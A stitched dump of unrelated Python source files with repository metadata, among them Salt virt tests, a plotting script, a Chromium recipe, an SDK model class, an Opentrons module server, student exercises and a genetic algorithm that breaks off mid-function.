test_default_nic_profile_hypervisor_kvm(self): mock = MagicMock(return_value={}) with patch.dict(virt.__salt__, {'config.get': mock}): ret = virt._nic_profile('nonexistent', 'kvm') self.assertTrue(len(ret) == 1) eth0 = ret[0] self.assertEqual(eth0['name'], 'eth0') self.assertEqual(eth0['type'], 'bridge') self.assertEqual(eth0['source'], 'br0') self.assertEqual(eth0['model'], 'virtio') @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_vol_xml_for_kvm(self): xml_data = virt._gen_vol_xml('vmname', 'system', 8192, 'kvm') root = ET.fromstring(xml_data) self.assertEqual(root.find('name').text, 'vmname/system.qcow2') self.assertEqual(root.find('key').text, 'vmname/system') self.assertEqual(root.find('capacity').attrib['unit'], 'KiB') self.assertEqual(root.find('capacity').text, str(8192 * 1024)) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_vol_xml_for_esxi(self): xml_data = virt._gen_vol_xml('vmname', 'system', 8192, 'esxi') root = ET.fromstring(xml_data) self.assertEqual(root.find('name').text, 'vmname/system.vmdk') self.assertEqual(root.find('key').text, 'vmname/system') self.assertEqual(root.find('capacity').attrib['unit'], 'KiB') self.assertEqual(root.find('capacity').text, str(8192 * 1024)) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_kvm_default_profile(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', ) root = ET.fromstring(xml_data) self.assertEqual(root.attrib['type'], 'kvm') self.assertEqual(root.find('vcpu').text, '1') self.assertEqual(root.find('memory').text, str(512 * 1024)) self.assertEqual(root.find('memory').attrib['unit'], 'KiB') disks = root.findall('.//disk') self.assertEqual(len(disks), 1) disk = disks[0] self.assertTrue(disk.find('source').attrib['file'].startswith('/')) self.assertTrue('hello/system' in disk.find('source').attrib['file']) self.assertEqual(disk.find('target').attrib['dev'], 'vda') self.assertEqual(disk.find('target').attrib['bus'], 'virtio') self.assertEqual(disk.find('driver').attrib['name'], 'qemu') self.assertEqual(disk.find('driver').attrib['type'], 'qcow2') interfaces = root.findall('.//interface') self.assertEqual(len(interfaces), 1) iface = interfaces[0] self.assertEqual(iface.attrib['type'], 'bridge') self.assertEqual(iface.find('source').attrib['bridge'], 'br0') self.assertEqual(iface.find('model').attrib['type'], 'virtio') mac = iface.find('mac').attrib['address'] self.assertTrue( re.match('^([0-9A-F]{2}[:-]){5}([0-9A-F]{2})$', mac, re.I)) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_gen_xml_for_esxi_default_profile(self): diskp = virt._disk_profile('default', 'esxi') nicp = virt._nic_profile('default', 'esxi') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'esxi', ) root = ET.fromstring(xml_data) self.assertEqual(root.attrib['type'], 'vmware') self.assertEqual(root.find('vcpu').text, '1') self.assertEqual(root.find('memory').text, str(512 * 1024)) self.assertEqual(root.find('memory').attrib['unit'], 'KiB') disks = root.findall('.//disk') self.assertEqual(len(disks), 1) disk = disks[0] self.assertTrue('[0]' in disk.find('source').attrib['file']) self.assertTrue('hello/system' in disk.find('source').attrib['file']) self.assertEqual(disk.find('target').attrib['dev'], 'sda') self.assertEqual(disk.find('target').attrib['bus'], 'scsi') self.assertEqual(disk.find('address').attrib['unit'], '0') interfaces = root.findall('.//interface') self.assertEqual(len(interfaces), 1) iface = interfaces[0] self.assertEqual(iface.attrib['type'], 'bridge') self.assertEqual(iface.find('source').attrib['bridge'], 'DEFAULT') self.assertEqual(iface.find('model').attrib['type'], 'e1000') mac = iface.find('mac').attrib['address'] self.assertTrue( re.match('^([0-9A-F]{2}[:-]){5}([0-9A-F]{2})$', mac, re.I)) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') @patch('salt.modules.virt._nic_profile') @patch('salt.modules.virt._disk_profile') def test_gen_xml_for_esxi_custom_profile(self, disk_profile, nic_profile): diskp_yaml = ''' - first: size: 8192 format: vmdk model: scsi pool: datastore1 - second: size: 4096 format: vmdk # FIX remove line, currently test fails model: scsi # FIX remove line, currently test fails pool: datastore2 ''' nicp_yaml = ''' - type: bridge name: eth1 source: ONENET model: e1000 mac: '00:00:00:00:00:00' - name: eth2 type: bridge source: TWONET model: e1000 mac: '00:00:00:00:00:00' ''' disk_profile.return_value = yaml.load(diskp_yaml) nic_profile.return_value = yaml.load(nicp_yaml) diskp = virt._disk_profile('noeffect', 'esxi') nicp = virt._nic_profile('noeffect', 'esxi') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'esxi', ) root = ET.fromstring(xml_data) self.assertEqual(root.attrib['type'], 'vmware') self.assertEqual(root.find('vcpu').text, '1') self.assertEqual(root.find('memory').text, str(512 * 1024)) self.assertEqual(root.find('memory').attrib['unit'], 'KiB') self.assertTrue(len(root.findall('.//disk')) == 2) self.assertTrue(len(root.findall('.//interface')) == 2) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') @patch('salt.modules.virt._nic_profile') @patch('salt.modules.virt._disk_profile') def test_gen_xml_for_kvm_custom_profile(self, disk_profile, nic_profile): diskp_yaml = ''' - first: size: 8192 format: qcow2 model: virtio pool: /var/lib/images - second: size: 4096 format: qcow2 # FIX remove line, currently test fails model: virtio # FIX remove line, currently test fails pool: /var/lib/images ''' nicp_yaml = ''' - type: bridge name: eth1 source: b2 model: virtio mac: '00:00:00:00:00:00' - name: eth2 type: bridge source: b2 model: virtio mac: '00:00:00:00:00:00' ''' disk_profile.return_value = yaml.load(diskp_yaml) nic_profile.return_value = yaml.load(nicp_yaml) diskp = virt._disk_profile('noeffect', 'kvm') nicp = virt._nic_profile('noeffect', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm', ) root = ET.fromstring(xml_data) self.assertEqual(root.attrib['type'], 'kvm') self.assertEqual(root.find('vcpu').text, '1') self.assertEqual(root.find('memory').text, str(512 * 1024)) self.assertEqual(root.find('memory').attrib['unit'], 'KiB') self.assertTrue(len(root.findall('.//disk')) == 2) self.assertTrue(len(root.findall('.//interface')) == 2) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_controller_for_esxi(self): diskp = virt._disk_profile('default', 'esxi') nicp = virt._nic_profile('default', 'esxi') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'esxi' ) root = ET.fromstring(xml_data) controllers = root.findall('.//devices/controller') self.assertTrue(len(controllers) == 1) controller = controllers[0] self.assertEqual(controller.attrib['model'], 'lsilogic') @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_controller_for_kvm(self): diskp = virt._disk_profile('default', 'kvm') nicp = virt._nic_profile('default', 'kvm') xml_data = virt._gen_xml( 'hello', 1, 512, diskp, nicp, 'kvm' ) root = ET.fromstring(xml_data) controllers = root.findall('.//devices/controller') # There should be no controller self.assertTrue(len(controllers) == 0) def test_mixed_dict_and_list_as_profile_objects(self): yaml_config = ''' virt.nic: new-listonly-profile: - bridge: br0 name: eth0 - model: virtio name: eth1 source: test_network type: network new-list-with-legacy-names: - eth0: bridge: br0 - eth1: bridge: br1 model: virtio non-default-legacy-profile: eth0: bridge: br0 eth1: bridge: br1 model: virtio ''' mock_config = yaml.load(yaml_config) salt.modules.config.__opts__ = mock_config for name in mock_config['virt.nic'].keys(): profile = salt.modules.virt._nic_profile(name, 'kvm') self.assertEqual(len(profile), 2) interface_attrs = profile[0] self.assertIn('source', interface_attrs) self.assertIn('type', interface_attrs) self.assertIn('name', interface_attrs) self.assertIn('model', interface_attrs) self.assertEqual(interface_attrs['model'], 'virtio') self.assertIn('mac', interface_attrs) self.assertTrue( re.match('^([0-9A-F]{2}[:-]){5}([0-9A-F]{2})$', interface_attrs['mac'], re.I)) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_get_graphics(self): virt.get_xml = MagicMock(return_value='''<domain type='kvm' id='7'> <name>test-vm</name> <devices> <graphics type='vnc' port='5900' autoport='yes' listen='0.0.0.0'> <listen type='address' address='0.0.0.0'/> </graphics> </devices> </domain> ''') graphics = virt.get_graphics('test-vm') self.assertEqual('vnc', graphics['type']) self.assertEqual('5900', graphics['port']) self.assertEqual('0.0.0.0', graphics['listen']) @skipIf(sys.version_info < (2, 7), 'ElementTree version 1.3 required' ' which comes with Python 2.7') def test_get_nics(self): virt.get_xml = MagicMock(return_value='''<domain type='kvm' id='7'> <name>test-vm</name> <devices> <interface type='bridge'> <mac address='ac:de:48:b6:8b:59'/> <source bridge='br0'/> <model type='virtio'/> <address type='pci' domain='0x0000' bus='0x00' slot='0x03' function='0x0'/> </interface> </devices> </domain> ''') nics = virt.get_nics('test-vm') nic = nics[nics.keys()[0]] self.assertEqual('bridge', nic['type']) self.assertEqual('ac:de:48:b6:8b:59', nic['mac']) if __name__ == '__main__': from integration import run_tests run_tests(VirtTestCase, needs_daemon=False)
70e74cc0a23a38a39b7158bb70228fdd02552163
a28a3665af439ad3d9f401d180856b0489341ffd
/plot_dumped_spikes.py
5781e18c464a56d2fef9b00a92fb8f074783e2eb
[]
no_license
Jegp/spike_conv_nets
c75f8bfc8f977ed94e4bc8d6d37cd02ac65b5961
c11b469b6d7896d787c77dca789be26f3d3d98b4
refs/heads/master
2023-06-24T03:20:16.378273
2021-07-16T17:20:43
2021-07-16T17:20:43
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,231
py
import numpy as np import matplotlib.pyplot as plt dumps_per_rate = { 5: [0, 0, 0, 0, 0, 0, 4, 6], 10: [0, 0, 0, 0, 0, 0, 9, 37], 25: [0, 0, 1, 181, 1204, 3426, 6153, 8864], 50: [0, 68, 2174, 7877, 13170, 18043, 22405, 26850], 100: [0, 5580, 16308, 25460, 33980, 42078, 53812, 61430], 150: [111, 14327, 28150, 40500, 56905, 64934, 71760, 78475], 200: [1604, 22257, 38695, 58896, 68124, 77028, 85174, 94407], } x_ticks = sorted(dumps_per_rate.keys()) dumps_per_input = {i+1: [] for i in range(len(dumps_per_rate[5]))} for k in x_ticks: for i, v in enumerate(dumps_per_rate[k]): dumps_per_input[i+1].append(v) fig, ax = plt.subplots(1, 1, figsize=(10, 6)) plt.axhspan(38000, 56000, color='orange', label="Back pressure", alpha=0.25) plt.axhspan(56000, 95000, color='red', label="Dead", alpha=0.25) for i in dumps_per_input: ax.semilogy(x_ticks, dumps_per_input[i], label="{} sources".format(i), marker='.', linewidth=2) ax.set_xticks(x_ticks) ax.set_xlabel("Input rate (Hz)") ax.set_ylabel("Dumped spikes") plt.legend(bbox_to_anchor=(1.01, 1), loc='upper left') plt.grid() plt.tight_layout() plt.savefig("dumped_spikes_per_input_rate_and_num_sources.pdf") plt.show()
2bbf7771c9c7a453bd61e602ff988dfd4a3b4ae0
ac216a2cc36f91625e440247986ead2cd8cce350
/recipes/recipes/infra_frontend_tester.py
35f8b23c7f2b499284c5540051977b9d62c9f7c2
[ "BSD-3-Clause" ]
permissive
xinghun61/infra
b77cdc566d9a63c5d97f9e30e8d589982b1678ab
b5d4783f99461438ca9e6a477535617fadab6ba3
refs/heads/master
2023-01-12T21:36:49.360274
2019-10-01T18:09:22
2019-10-01T18:09:22
212,168,656
2
1
BSD-3-Clause
2023-01-07T10:18:03
2019-10-01T18:22:44
Python
UTF-8
Python
false
false
3,772
py
# Copyright 2016 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. DEPS = [ 'depot_tools/bot_update', 'depot_tools/gclient', 'infra_checkout', 'recipe_engine/buildbucket', 'recipe_engine/cipd', 'recipe_engine/context', 'recipe_engine/path', 'recipe_engine/platform', 'recipe_engine/properties', 'recipe_engine/step', ] def RunSteps(api): assert api.platform.is_linux, 'Unsupported platform, only Linux is supported.' cl = api.buildbucket.build.input.gerrit_changes[0] project_name = cl.project assert project_name in ('infra/infra', 'infra/infra_internal'), ( 'unknown project: "%s"' % project_name) patch_root = project_name.split('/')[-1] internal = (patch_root == 'infra_internal') api.gclient.set_config(patch_root) api.bot_update.ensure_checkout(patch_root=patch_root) api.gclient.runhooks() packages_dir = api.path['start_dir'].join('packages') ensure_file = api.cipd.EnsureFile() ensure_file.add_package('infra/nodejs/nodejs/${platform}', 'node_version:10.15.3') api.cipd.ensure(packages_dir, ensure_file) node_path = api.path['start_dir'].join('packages', 'bin') env = { 'PATH': api.path.pathsep.join([str(node_path), '%(PATH)s']) } if internal: RunInfraInternalFrontendTests(api, env) else: RunInfraFrontendTests(api, env) def RunInfraInternalFrontendTests(api, env): cwd = api.path['checkout'].join('appengine', 'chromiumdash') with api.context(env=env, cwd=cwd): api.step('chromiumdash npm install', ['npm', 'ci']) api.step('chromiumdash bower install', ['npx', 'bower', 'install']) api.step( 'chromiumdash run-wct', ['npx', 'run-wct', '--dep', 'third_party']) api.step( 'chromiumdash generate js coverage report', ['npx', 'nyc', 'report']) def RunInfraFrontendTests(api, env): cwd = api.path['checkout'].join('appengine', 'findit') with api.context(env=env, cwd=cwd): api.step('findit npm install', ['npm', 'ci']) api.step('findit run-wct', ['npx', 'run-wct', '--base', 'ui/', '--dep', 'third_party']) api.step('findit generate js coverage report', ['npx', 'nyc', 'report']) cwd = api.path['checkout'].join('crdx', 'chopsui') with api.context(env=env, cwd=cwd): api.step('chopsui npm install', ['npm', 'ci']) api.step('chopsui bower install', ['npx', 'bower', 'install']) api.step('chopsui run-wct', ['npx', 'run-wct', '--prefix', 'test', '--dep', 'bower_components']) api.step('chopsui generate js coverage report', ['npx', 'nyc', 'report']) cwd = api.path['checkout'].join('appengine', 'monorail') RunFrontendTests(api, env, cwd, 'monorail') cwd = api.path['checkout'].join('go', 'src', 'infra', 'appengine', 'dashboard', 'frontend') RunFrontendTests(api, env, cwd, 'chopsdash') cwd = api.path['checkout'].join('go', 'src', 'infra', 'appengine', 'sheriff-o-matic', 'frontend') with api.context(env=env, cwd=cwd): api.step('sheriff-o-matic npm install', ['npm', 'ci']) api.step('sheriff-o-matic bower install', ['npx', 'bower', 'install']) api.step('sheriff-o-matic run-wct', ['npx', 'run-wct']) api.step('sheriff-o-matic generate js coverage report', ['npx', 'nyc', 'report']) def RunFrontendTests(api, env, cwd, app_name): with api.context(env=env, cwd=cwd): api.step(('%s npm install' % app_name), ['npm', 'ci']) api.step(('%s test' % app_name), ['npm', 'run', 'test']) def GenTests(api): yield ( api.test('basic') + api.buildbucket.try_build(project='infra/infra')) yield ( api.test('basic-internal') + api.buildbucket.try_build(project='infra/infra_internal'))
1ce69570b147409c64f71b6f95f4f9f4424df5fd
847273de4b1d814fab8b19dc651c651c2d342ede
/.history/sok2_20180605144707.py
415fc2182c0374df330c14fda7cf3dfab26de737
[]
no_license
Los4U/sudoku_in_python
0ba55850afcffeac4170321651620f3c89448b45
7d470604962a43da3fc3e5edce6f718076197d32
refs/heads/master
2020-03-22T08:10:13.939424
2018-07-04T17:21:13
2018-07-04T17:21:13
139,749,483
0
1
null
null
null
null
UTF-8
Python
false
false
988
py
row1 = [0,0,0,0,0,0,0,0,0] row2 = [0,0,0,5,0,6,0,0,0] row3 = [0,0,1,0,0,0,0,3,0] row4 = [0,9,5,0,0,0,2,0,0] row5 = [0,0,0,0,0,1,6,0,7] row6 = [1,0,6,0,0,9,0,0,5] row7 = [7,0,0,8,0,3,9,0,0] row8 = [0,3,8,9,0,0,0,2,0] row9 = [0,5,0,0,2,0,7,0,0] print(row1) print(row2) print(row3) print("") print(row4) print(row5) print(row6) print("") print(row7) print(row8) print(row9) while True: x = input("Wprowadz x y z:") try: if int(x[0])==1: row1[int(x[2])-1]=x[4] print("ok") except ValueError: # przechwytuje wyjątek literę i kończy program. print("Wprowadz cyfrę!") continue r11 = row1[0:3] r12 = row1[3:6] r13 = row1[6:9] print(r11) print(*r11, +"-"+,*r12, +"-"+, *r13, sep=' ' ) print(row2) print(row3) print(""), print(row4) print(row5) print(row6) print("") print(row7) print(row8) print(row9) #print(new) #rds.insert(index, "is")
03e81cb668b3892630d4b84f13d52db0f2340b0a
e3365bc8fa7da2753c248c2b8a5c5e16aef84d9f
/indices/nngroom.py
05304e2ebd860e857cfafb531e8759d0f08be7b8
[]
no_license
psdh/WhatsintheVector
e8aabacc054a88b4cb25303548980af9a10c12a8
a24168d068d9c69dc7a0fd13f606c080ae82e2a6
refs/heads/master
2021-01-25T10:34:22.651619
2015-09-23T11:54:06
2015-09-23T11:54:06
42,749,205
2
3
null
2015-09-23T11:54:07
2015-09-18T22:06:38
Python
UTF-8
Python
false
false
837
py
ii = [('CookGHP3.py', 1), ('MarrFDI.py', 1), ('FerrSDO3.py', 4), ('CookGHP.py', 2), ('KembFJ1.py', 1), ('WilkJMC3.py', 1), ('ClarGE2.py', 8), ('CarlTFR.py', 1), ('LyttELD.py', 1), ('CoopJBT2.py', 1), ('AinsWRR3.py', 5), ('CookGHP2.py', 2), ('BailJD1.py', 3), ('RoscTTI2.py', 1), ('CrokTPS.py', 2), ('ClarGE.py', 7), ('GilmCRS.py', 2), ('MedwTAI.py', 2), ('LandWPA2.py', 1), ('WadeJEB.py', 16), ('FerrSDO2.py', 1), ('GodwWLN.py', 2), ('CoopJBT.py', 4), ('MedwTAI2.py', 2), ('HowiWRL2.py', 4), ('BailJD3.py', 1), ('WilkJMC.py', 2), ('MartHRW.py', 2), ('MackCNH.py', 2), ('FitzRNS4.py', 1), ('FitzRNS.py', 1), ('EdgeMHT.py', 1), ('HallFAC.py', 1), ('KembFJ2.py', 1), ('AinsWRR2.py', 1), ('MereHHB2.py', 1), ('JacoWHI.py', 1), ('FitzRNS2.py', 1), ('MartHSI.py', 2), ('NortSTC.py', 3), ('BeckWRE.py', 5), ('KeigTSS.py', 5), ('ClarGE4.py', 2)]
4e2cb5d3446ab650d78bd50b0f6c501c5b253419
f9d564f1aa83eca45872dab7fbaa26dd48210d08
/huaweicloud-sdk-iec/huaweicloudsdkiec/v1/model/create_firewall_request.py
5f5b939d3a460d290d4882cf2d16021fd5122cc7
[ "Apache-2.0" ]
permissive
huaweicloud/huaweicloud-sdk-python-v3
cde6d849ce5b1de05ac5ebfd6153f27803837d84
f69344c1dadb79067746ddf9bfde4bddc18d5ecf
refs/heads/master
2023-09-01T19:29:43.013318
2023-08-31T08:28:59
2023-08-31T08:28:59
262,207,814
103
44
NOASSERTION
2023-06-22T14:50:48
2020-05-08T02:28:43
Python
UTF-8
Python
false
false
3,151
py
# coding: utf-8 import six from huaweicloudsdkcore.utils.http_utils import sanitize_for_serialization class CreateFirewallRequest: """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribute_map (dict): The key is attribute name and the value is json key in definition. """ sensitive_list = [] openapi_types = { 'body': 'CreateFirewallRequestBody' } attribute_map = { 'body': 'body' } def __init__(self, body=None): """CreateFirewallRequest The model defined in huaweicloud sdk :param body: Body of the CreateFirewallRequest :type body: :class:`huaweicloudsdkiec.v1.CreateFirewallRequestBody` """ self._body = None self.discriminator = None if body is not None: self.body = body @property def body(self): """Gets the body of this CreateFirewallRequest. :return: The body of this CreateFirewallRequest. :rtype: :class:`huaweicloudsdkiec.v1.CreateFirewallRequestBody` """ return self._body @body.setter def body(self, body): """Sets the body of this CreateFirewallRequest. :param body: The body of this CreateFirewallRequest. :type body: :class:`huaweicloudsdkiec.v1.CreateFirewallRequestBody` """ self._body = body def to_dict(self): """Returns the model properties as a dict""" result = {} for attr, _ in six.iteritems(self.openapi_types): value = getattr(self, attr) if isinstance(value, list): result[attr] = list(map( lambda x: x.to_dict() if hasattr(x, "to_dict") else x, value )) elif hasattr(value, "to_dict"): result[attr] = value.to_dict() elif isinstance(value, dict): result[attr] = dict(map( lambda item: (item[0], item[1].to_dict()) if hasattr(item[1], "to_dict") else item, value.items() )) else: if attr in self.sensitive_list: result[attr] = "****" else: result[attr] = value return result def to_str(self): """Returns the string representation of the model""" import simplejson as json if six.PY2: import sys reload(sys) sys.setdefaultencoding("utf-8") return json.dumps(sanitize_for_serialization(self), ensure_ascii=False) def __repr__(self): """For `print`""" return self.to_str() def __eq__(self, other): """Returns true if both objects are equal""" if not isinstance(other, CreateFirewallRequest): return False return self.__dict__ == other.__dict__ def __ne__(self, other): """Returns true if both objects are not equal""" return not self == other
db5d2df161a6e83e117857449c89f34e77bbc1e9
de24f83a5e3768a2638ebcf13cbe717e75740168
/moodledata/vpl_data/46/usersdata/133/19356/submittedfiles/funcoes1.py
6e1d19cdc94d09fc1fc04dfb30e04fc08e20562e
[]
no_license
rafaelperazzo/programacao-web
95643423a35c44613b0f64bed05bd34780fe2436
170dd5440afb9ee68a973f3de13a99aa4c735d79
refs/heads/master
2021-01-12T14:06:25.773146
2017-12-22T16:05:45
2017-12-22T16:05:45
69,566,344
0
0
null
null
null
null
UTF-8
Python
false
false
1,844
py
# -*- coding: utf-8 -*- from __future__ import division def crescente (lista): c = 0 for i in range(0, len(lista) - 1, 1): if (lista[i] > lista[i+1]): c = c + 1 if c == 0: return True else: return False def decrescente (lista): c = 0 for i in range (0, len(lista)-1, 1): if(lista[i] < lista[i+1]): c = c + 1 if c == 0: return True else: return False def iguais(lista): c = 0 for i in range(0, len(lista) - 1, 1): if(lista[i] == lista[i+1]): c = c + 1 if c!=0: return True else: return False def insere_lista(lista, n): for i in range(0, n, 1): lista.append(input('Digite o elemento:')) return lista n = int(input('Digite o número de elementos da lista:')) a = [] b = [] c = [] print('Preencha a lista 1:') a = insere_lista(a, n) print('Preencha a lista 2:') b = insere_lista(b, n) print('Preencha a lista 3:') c = insere_lista(c, n) if crescente(a): print('S') print('N') print('N') else: print('N') if decrescente(a): print ('S') print('N') else: print('N') if iguais(a): print('S') else: print('N') if crescente(b): print('S') print('N') print('N') else: print('N') if decrescente(b): print ('S') print('N') else: print('N') if iguais(b): print('S') else: print('N') if crescente(c): print('S') print('N') print('N') else: print('N') if decrescente(c): print ('S') print('N') else: print('N') if iguais(c): print('S') else: print('N')
8d0f295d36ca43741e772ae4a4d619e059a69763
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/nouns/_pitcher.py
4935937eb1a295682a937ebc12940f067750b650
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
561
py
#calss header class _PITCHER(): def __init__(self,): self.name = "PITCHER" self.definitions = [u'a large, round container for liquids that has a flat base, a handle, and a very narrow raised opening at the top for pouring: ', u'a container for holding liquids that has a handle and a shaped opening at the top for pouring: ', u'a player who pitches the ball in a baseball game'] self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.specie = 'nouns' def run(self, obj1 = [], obj2 = []): return self.jsondata
3201eddccde78cd5194c5e90ad30468489386f20
6fdb4eaf5b0e6dbd7db4bf947547541e9aebf110
/api/src/opentrons/hardware_control/emulation/module_server/server.py
5a3d696eb7b834587678e7f64d99bb63f8ebdd00
[ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ]
permissive
Opentrons/opentrons
874321e01149184960eeaeaa31b1d21719a1ceda
026b523c8c9e5d45910c490efb89194d72595be9
refs/heads/edge
2023-09-02T02:51:49.579906
2023-08-31T16:02:45
2023-08-31T16:02:45
38,644,841
326
174
Apache-2.0
2023-09-14T21:47:20
2015-07-06T20:41:01
Python
UTF-8
Python
false
false
3,478
py
"""Server notifying of module connections.""" import asyncio import logging from typing import Dict, Set from opentrons.hardware_control.emulation.module_server.models import ( ModuleConnection, Message, ) from opentrons.hardware_control.emulation.proxy import ProxyListener from opentrons.hardware_control.emulation.settings import ModuleServerSettings from typing_extensions import Final log = logging.getLogger(__name__) MessageDelimiter: Final = b"\n" class ModuleStatusServer(ProxyListener): """The module status server is the emulator equivalent of inotify. A client can know when an emulated module connects or disconnects. Clients connect and read JSON messages (See models module). """ def __init__(self, settings: ModuleServerSettings) -> None: """Constructor Args: settings: app settings """ self._settings = settings self._connections: Dict[str, ModuleConnection] = {} self._clients: Set[asyncio.StreamWriter] = set() def on_server_connected( self, server_type: str, client_uri: str, identifier: str ) -> None: """Called when a new module has connected. Args: server_type: the type of module client_uri: the url string for a driver to connect to identifier: unique id for connection Returns: None """ log.info(f"On connected {server_type} {client_uri} {identifier}") connection = ModuleConnection( module_type=server_type, url=client_uri, identifier=identifier ) self._connections[identifier] = connection for c in self._clients: c.write( Message(status="connected", connections=[connection]).json().encode() ) c.write(b"\n") def on_server_disconnected(self, identifier: str) -> None: """Called when a module has disconnected. Args: identifier: unique id for the connection Returns: None """ log.info(f"On disconnected {identifier}") try: connection = self._connections[identifier] del self._connections[identifier] for c in self._clients: c.write( Message(status="disconnected", connections=[connection]) .json() .encode() ) c.write(MessageDelimiter) except KeyError: log.exception("Failed to find identifier") async def run(self) -> None: """Run the server.""" server = await asyncio.start_server( self._handle_connection, host=self._settings.host, port=self._settings.port ) await server.serve_forever() async def _handle_connection( self, reader: asyncio.StreamReader, writer: asyncio.StreamWriter ) -> None: """Handle a client connection to the server.""" log.info("Client connected to module server.") # A client connected. Send a dump of all connected modules. m = Message(status="dump", connections=list(self._connections.values())) writer.write(m.json().encode()) writer.write(MessageDelimiter) self._clients.add(writer) while True: if b"" == await reader.read(): self._clients.remove(writer) break log.info("Client disconnected from module server.")
0058c0c97e9d9d87841883e5c30387db9b77b14e
bdf86d69efc1c5b21950c316ddd078ad8a2f2ec0
/venv/Lib/site-packages/scrapy/selector/lxmlsel.py
c610d120ad1f1822117219bab6d57d09323f7f09
[]
no_license
DuaNoDo/PythonProject
543e153553c58e7174031b910fd6451399afcc81
2c5c8aa89dda4dec2ff4ca7171189788bf8b5f2c
refs/heads/master
2020-05-07T22:22:29.878944
2019-06-14T07:44:35
2019-06-14T07:44:35
180,941,166
1
1
null
2019-06-04T06:27:29
2019-04-12T06:05:42
Python
UTF-8
Python
false
false
1,340
py
""" XPath selectors based on lxml """ from scrapy.utils.deprecate import create_deprecated_class from .unified import Selector, SelectorList __all__ = ['HtmlXPathSelector', 'XmlXPathSelector', 'XPathSelector', 'XPathSelectorList'] def _xpathselector_css(self, *a, **kw): raise RuntimeError('.css() method not available for %s, ' 'instantiate scrapy.Selector ' 'instead' % type(self).__name__) XPathSelector = create_deprecated_class( 'XPathSelector', Selector, { '__slots__': (), '_default_type': 'html', 'css': _xpathselector_css, }, new_class_path='scrapy.Selector', old_class_path='scrapy.selector.XPathSelector', ) XmlXPathSelector = create_deprecated_class( 'XmlXPathSelector', XPathSelector, clsdict={ '__slots__': (), '_default_type': 'xml', }, new_class_path='scrapy.Selector', old_class_path='scrapy.selector.XmlXPathSelector', ) HtmlXPathSelector = create_deprecated_class( 'HtmlXPathSelector', XPathSelector, clsdict={ '__slots__': (), '_default_type': 'html', }, new_class_path='scrapy.Selector', old_class_path='scrapy.selector.HtmlXPathSelector', ) XPathSelectorList = create_deprecated_class('XPathSelectorList', SelectorList)
a1805cdf71db4000bbdb1c7c3b2df4c64fdb8be0
fa6776ade56e05d1448ddb6c81cb78ed207cc7a9
/mlfromscratch/unsupervised_learning/genetic_algorithm.py
005dc1993e1ab570475c62c5a321edb4134e1d7d
[ "MIT" ]
permissive
lyrl/ML-From-Scratch
28eef91c84c8595f43745d8a6a3f6d082ea23346
a7d43fd1eb352035179c5f333bec082d0083362c
refs/heads/master
2021-06-27T19:27:08.053663
2017-09-15T08:43:55
2017-09-15T08:43:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,423
py
import string import numpy as np class GeneticAlgorithm(): """An implementation of a Genetic Algorithm which will try to produce the user specified target string. Parameters: ----------- target_string: string The string which the GA should try to produce. population_size: int The number of individuals (possible solutions) in the population. mutation_rate: float The rate (or probability) of which the alleles (chars in this case) should be randomly changed. """ def __init__(self, target_string, population_size, mutation_rate): self.target = target_string self.population_size = population_size self.mutation_rate = mutation_rate self.letters = [" "] + list(string.letters) def _initialize(self): """ Initialize population with random strings """ self.population = [] for _ in range(self.population_size): # Select random letters as new individual individual = "".join(np.random.choice(self.letters, size=len(self.target))) self.population.append(individual) def _calculate_fitness(self): """ Calculates the fitness of each individual in the population """ population_fitness = [] for individual in self.population: # Calculate loss as the alphabetical distance between # the characters in the individual and the target string loss = 0 for i in range(len(individual)): letter_i1 = self.letters.index(individual[i]) letter_i2 = self.letters.index(self.target[i]) loss += abs(letter_i1 - letter_i2) fitness = 1 / (loss + 1e-6) population_fitness.append(fitness) return population_fitness def _mutate(self, individual): """ Randomly change the individual's characters with probability self.mutation_rate """ individual = list(individual) for j in range(len(individual)): # Make change with probability mutation_rate if np.random.random() < self.mutation_rate: individual[j] = np.random.choice(self.letters) # Return mutated individual as string return "".join(individual) def _crossover(self, parent1, parent2): """ Create children from parents by crossover """ # Select random crossover point cross_i = np.random.randint(0, len(parent1)) child1 = parent1[:cross_i] + parent2[cross_i:] child2 = parent2[:cross_i] + parent1[cross_i:] return child1, child2 def run(self, iterations): # Initialize new population self._initialize() for epoch in range(iterations): population_fitness = self._calculate_fitness() fittest_individual = self.population[np.argmax(population_fitness)] highest_fitness = max(population_fitness) # If we have found individual which matches the target => Done if fittest_individual == self.target: break # Set the probabilities that the individuals should be selected as parents # proportionate to the individuals fitness parent_probs = [fitness / sum(population_fitness) for fitness in population_fitness] # Determine the next generation new_population = [] for i in np.arange(0, self.population_size, 2): # Select two parents randomly according to probabilities parents = 